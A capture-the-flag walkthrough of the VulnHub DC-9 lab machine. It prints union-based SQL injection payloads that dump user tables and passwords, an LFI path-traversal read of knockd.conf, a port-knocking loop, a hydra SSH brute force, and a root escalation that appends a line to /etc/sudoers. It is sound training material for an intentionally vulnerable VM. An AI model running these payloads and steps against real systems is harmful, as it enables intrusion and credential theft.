[VulnHub] DC-9
Recon
Port Scan
nmap -T 4 -p- -sV --script vuln -vv 192.168.2.125
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.38 ((Debian))
Directory Scan
ffuf -u http://192.168.2.125/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.txt,.html
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
css [Status: 301, Size: 312, Words: 20, Lines: 10]
display.php [Status: 200, Size: 2961, Words: 199, Lines: 42]
includes [Status: 301, Size: 317, Words: 20, Lines: 10]
index.php [Status: 200, Size: 917, Words: 43, Lines: 43]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1]
manage.php [Status: 200, Size: 1210, Words: 43, Lines: 51]
results.php [Status: 200, Size: 1056, Words: 43, Lines: 55]
search.php [Status: 200, Size: 1091, Words: 47, Lines: 50]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
session.php [Status: 302, Size: 0, Words: 1, Lines: 1]
welcome.php [Status: 302, Size: 0, Words: 1, Lines: 1]
Exploitation
SQL Injection
There is a search box on /search.php
that is vulnerable to SQL Injection.
For payload ' or 1=1--+
:
There are 6 values that are printed.
1' UNION SELECT 1,2,3,4,5,6--+
It is possible to enumerate evetrything manually.
' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata--+
ID: 1<br/>
Name: 2 3<br/>
Position: 4<br />
Phone No: 5<br />
Email: |information_schema|,|Staff|,|users|<br/>
' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,TABLE_NAME,0x7c) FROM information_schema.tables WHERE table_schema = 'Staff'--+
ID: 1<br/>
Name: 2 3<br/>
Position: 4<br />
Phone No: 5<br />
Email: |StaffDetails|,|Users|<br/>
' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,COLUMN_NAME,0x7c) FROM information_schema.columns WHERE table_name = 'Users'--+
ID: 1<br/>
Name: 2 3<br/>
Position: 4<br />
Phone No: 5<br />
Email: |UserID|,|Username|,|Password|<br/>
' UNION SELECT UserID,Username,Password,4,5,6 FROM Staff.Users--+
ID: 1<br/>
Name: admin 856f5de590ef37314e7c3bdf6f8a66dc<br/>
Position: 4<br/>
Phone No: 5<br/>
Email: 6<br/>
' UNION SELECT 1,username,password,4,5,6 FROM users.UserDetails--+
ID: 1<br/>
Name: marym 3kfs86sfd<br/>
Position: 4<br />
Phone No: 5<br />
Email: 6<br/>
<br/>
ID: 1<br/>
Name: julied 468sfdfsd2<br/>
Position: 4<br />
Phone No: 5<br />
Email: 6<br/>
<br/>
...
The hash is on crackstation and admin credentials are admin:transorbital1
.
After logging in an error appears at the bottom of the page.
LFI
After messing with URL a bit, I’ve discovered LFI.
After A LOT of poking around I’ve found knockd.conf
file at /welcome.php?file=../../../../../../etc/knockd.conf
.
According to this file, SSH is enabled. I just need to knock on 7469,8475,9842
porst in that order.
for x in 7469 8475 9842l do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 192.168.2.125; done
After knocking on those port 22 becomes open.
nmap -p 22 192.168.2.125
PORT STATE SERVICE
22/tcp open ssh
I’ve compiled all creds from the database, generated wordlists from them and used them to bruteforce SSH.
hydra -L users.txt -P passwds.txt 192.168.2.125 ssh
[22][ssh] host: 192.168.2.125 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.2.125 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.2.125 login: janitor password: Ilovepeepee
PrivEsc
In janitor’s home folder there is a hidden folder called .secrets-for-putin
in which there is a password list.
Testing those password with user from the database we get new valid credentials for SSH fredf:B4-Tru3-001
.
fredf user can execute /opt/devstuff/dist/test/test
as root
.
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
While executing this file asks for a file
and a append
. This binary takes a file and appends it to the other. I just created a file with fredf ALL=(ALL) ALL
and appended it to /etc/sudoers
to give fredf
user ALL sudo privileges.
fredf@dc-9:~$ echo 'fredf ALL=(ALL) ALL' > test
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test /home/fredf/test /etc/sudoers
fredf@dc-9:~$ sudo su
root@dc-9:~#
root@dc-9:~# id
uid=0(root) gid=0(root) groups=0(root)
Got root!